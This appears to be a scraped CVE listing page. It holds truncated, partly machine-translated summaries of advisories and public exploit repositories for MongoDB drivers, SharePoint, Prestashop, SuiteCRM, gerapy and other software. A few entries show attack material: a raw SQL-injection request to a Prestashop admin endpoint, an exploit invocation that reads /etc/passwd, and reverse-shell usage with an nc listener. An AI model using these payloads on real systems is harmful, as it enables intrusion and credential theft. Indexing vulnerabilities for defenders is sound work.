CVE-2026-106429 Application denial of service via malformed KMS endpoint in MongoDB libmongocrypt

An integer underflow in the KMS endpoint-parsing logic of MongoDB libmongocrypt can cause an allocation failure that terminates the application process. This can occur when an authenticated user modifies a key document in the key vault collection, or when an application accepts a KMS endpoint...

CVE-2026-106430 Query and rename target confusion via embedded NUL truncation in MongoDB C++ Driver

The MongoDB C++ Driver discards content after an embedded NUL byte in certain field and collection names accepted by the collection API. This can cause the driver and the calling application to interpret the same name differently. An authenticated actor who can influence a name passed by an...

EUVD-2026-95155

The MongoDB C++ Driver discards content after an embedded NUL byte in certain field and collection names accepted by the collection API. This can cause the driver and the calling application to interpret the same name differently. An authenticated actor who can influence a name passed by an...

CVE-2026-106430

The MongoDB C++ Driver is vulnerable to query and rename target confusion due to embedded NUL truncation . The driver discards content following a NUL byte in specific field and collection names accepted by the collection API , leading to a discrepancy between how the driver and the calling appli...

Query and rename target confusion via embedded NUL truncation in MongoDB C++ Driver

The MongoDB C++ Driver discards content after an embedded NUL byte in certain field and collection names accepted by the collection API. This can cause the driver and the calling application to interpret the same name differently. An authenticated actor who can influence a name passed by an...

CVE-2025-54897-LAB

ラボ: CVE-2025-54897 - Microsoft Office SharePoint の逆シリアル化の脆弱性 🚀 概要 このラボは、Microsoft Office SharePoint におけるリモートコード実行（RCE）を可能にする逆シリアル化の脆弱性を実演します。この問題は、SharePoint のオブジェクト逆シリアル化ルーチン内で信頼されていないシリアル化データが不適切に処理されることに起因し、認証済みの攻撃者がターゲットサーバー上で任意のコードを実行できるようになります。CVSSv3 スコア 8.8 のこの高深刻度の脆弱性は、Enterprise Server...

CVE-2024-27115-Exploit

SOPlanning 1.52.01 - リモートコード実行（RCE）（認証済み） エクスプロイトの詳細 エクスプロイトタイトル : SOPlanning 1.52.01（シンプルオンラインプランニングツール）- リモートコード実行（RCE）（認証済み） 日付 : 2024年10月6日 エクスプロイト作成者 : Ardayfio Samuel Nii Aryee バージョン : 1.52.01 テスト環境 : Ubuntu 説明 このリポジトリには、SOPlanning バージョン 1.52.01...

CVE-2026-31281

CVE-2026-31281 説明 Totara LMS は HTLM インジェクションに対して脆弱です。攻撃者はメッセージに悪意のある HTLM コードを注入し、アプリケーション内のすべてのユーザーに送信することで、コードの実行につながり、セッションハイジャックや被害者のブラウザ上でのコマンド実行を引き起こす可能性があります。 CVSS 3 スコア: 7.3 高 攻撃タイプ リモート 認証済み 影響を受けるバージョン 19.1.5 以前のバージョン 19.1.5 発見者: Yazan Abu-Nadi...

CVE-2025-56219

CVE-2025-56219 缺少速率限制 – 添加用户 API 描述 攻击者可以在短时间内自动创建大量用户，从而造成拒绝服务（DoS）。 CVSS 评分：7.1（高危） 攻击类型 远程（已认证） 受影响版本 8.6.8 及之前的版本 产品供应商 Ascertia 受影响产品代码库 SigningHub 受影响组件 添加用户 API。 缓解措施 为添加用户 API 实施速率限制。 漏洞详情 该应用程序允许用户添加新用户账户，且没有任何速率限制或节流机制。此缺陷使攻击者能够在短时间内自动创建大量用户账户，可能导致资源耗尽、数据库膨胀或拒绝服务（DoS）。 已修复版本 8.6.8 之后的版本...

CVE-2026-34975

CVE-2026-34975 — CRLF Email Header Injection in Plunk via raw MIME construction Severity : High CVSS 8.5 CWE : CWE-93 — Improper Neutralization of CRLF Sequences 'CRLF Injection' Affected : useplunk/plunk = 0.7.1 Fixed in : 0.8.0 Advisory : GHSA-2mvm-rg5v-7hfq NVD :...

cve-2024-21683-rce

cve-2024-21683-rce CVE-2024-21683 は、Atlassian の Confluence Server および Data Center に影響を与える深刻なリモートコード実行（RCE）脆弱性です。 この脆弱性の CVSS スコアは 8.3 で、高深刻度カテゴリに分類されます。攻撃者は巧妙に細工された悪意のある JavaScript ファイルを介して、ユーザーの操作なしにリモートコードを実行できます。 ただし、攻撃者はまず Confluence システムにログインし、新しいマクロ言語を追加するための十分な権限を持っている必要があります。 脆弱性の詳細 脆弱性タイ...

CVE-2026-30480

CVE-2026-30480: LibreNMS のパストラバーサルによるローカルファイルインクルージョン（LFI） 概要 LibreNMS の NFSen モジュールにローカルファイルインクルージョン（LFI）の脆弱性が存在します。認証済みの攻撃者がパストラバーサルシーケンスを悪用して、サーバーのファイルシステムから任意の PHP ファイルをインクルードできる可能性があります。 フィールド| 値 ---|--- 製品| LibreNMS ベンダー| LibreNMS Project 脆弱性タイプ| ローカルファイルインクルージョン（LFI）/ パストラバーサル CWE|...

CVE-2026-23980-Exploit

CVE-2026-23980 - Apache Superset 認証済みSQLインジェクション / \ | | | | | || | \\ sqlExpressionはそのままクエリに渡される。パラメータ化なし。希望なし。 Apache Superset 6.0.0未満では、読み取りアクセス権を持つ認証済みユーザーが /api/v1/chart/data エンドポイントの sqlExpression または where パラメータを介してエラーベースSQLインジェクション を実行できます。 validateadhocsubquery...

CVE-2021-43789

CVE-2021-43789 Prestashop = 1.7.5.0 1.7.8.2 - SQLインジェクション POC GET /prestashop1.7.8.1/admin860ykaqhn/index.php/sell/orders/?token=tPhFxoTyY8HLoCWbfVDKdY8Io1BVL3ZVebYNljeM9M&orderorderBy=idorder&ordersortOrder= AND SELECT 2331 FROMSELECT COUNT,CONCAT0,MIDIFNULLCASTCURRENTUSER AS...

CVE-2026-25890-FileBrowser-Access-Control-Bypass

CVE-2026-25890 - FileBrowser アクセス制御バイパス 未認証ユーザーはこの脆弱性を悪用できません — ターゲットパスへのアクセスが制限された有効な低権限資格情報が必要です。 FileBrowser ≤ v2.57.0 におけるパスベースの認可バイパス。複数の先頭スラッシュ（/private の代わりに //private）を使用して strings.HasPrefix チェックを回避しつつ、ファイルシステムは正規化されたパスを提供します。 v2.57.1 で修正済み（コミット 489af403... – r.SkipCleantrue を削除）。 📦 機能...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

CVE-2026-25512 PoC – Group-Office 通过 TNEF 处理器实现认证 RCE 作者： Mohammed Idrees Banyamer 账号： @banyamersecurity GitHub： mbanyamer 日期： 2026 年 2 月 4 日 漏洞利用标题 Group-Office Intermesh 26.0.4 – 通过 TNEF 附件处理器实现认证 RCE CVE CVE-2026-25512 CWE CWE-78（操作系统命令注入） 厂商 Intermesh / Group-Office 受影响版本 26.0.4（同时影响部分 25.x /...

CVE-2026-24854-ChurchCRM-6.7.2-Authenticated-Numeric-SQL-Injection

CVE-2026-24854 – ChurchCRM 認証済み数値SQLインジェクション（ロジック操作）PoC 著者: Mohammed Idrees Banyamer 国: ヨルダン ハンドル: @banyamersecurity GitHub: https://github.com/mbanyamer 概要 このリポジトリには、ChurchCRM 6.7.2 より前のバージョン における認証済み数値SQLインジェクションの脆弱性 を実証する Proof of Concept（PoC）が含まれています。...

CVE-2021-45897

CVE-2021-45897 CVE-2021-45897（別名SCRMBT-180）のPoC - SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 使用例: .venv ➜ CVE-2021-45897 git:main ✗ ./exploit.py -u user -p --payload "cat /etc/passwd" INFO:CVE-2021-45897:Login did work -...

cve-2021-32849

cve-2021-32849 cve-2021-32849gerapy命令执行 使用方式 先开启一个nc进行监听，再用exp去打 python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857（gerapyコマンド実行） 免責事項 スクリプトは学習・参考用のみであり、他人のWebサイトへの悪意ある攻撃は禁止です。 法令違反や秩序違反を犯した場合、生じた一切の結果は利用者自身が負担します。 技術に罪はなく、作者とは無関係です。 スクリプトの使用は上記の説明に同意したものとみなされます！ --Author:lowkey0808 使用方法 -h, --help show this help message and exit -u url -U ログインユーザー -P ログインパスワード -r リバースシェルIP -p...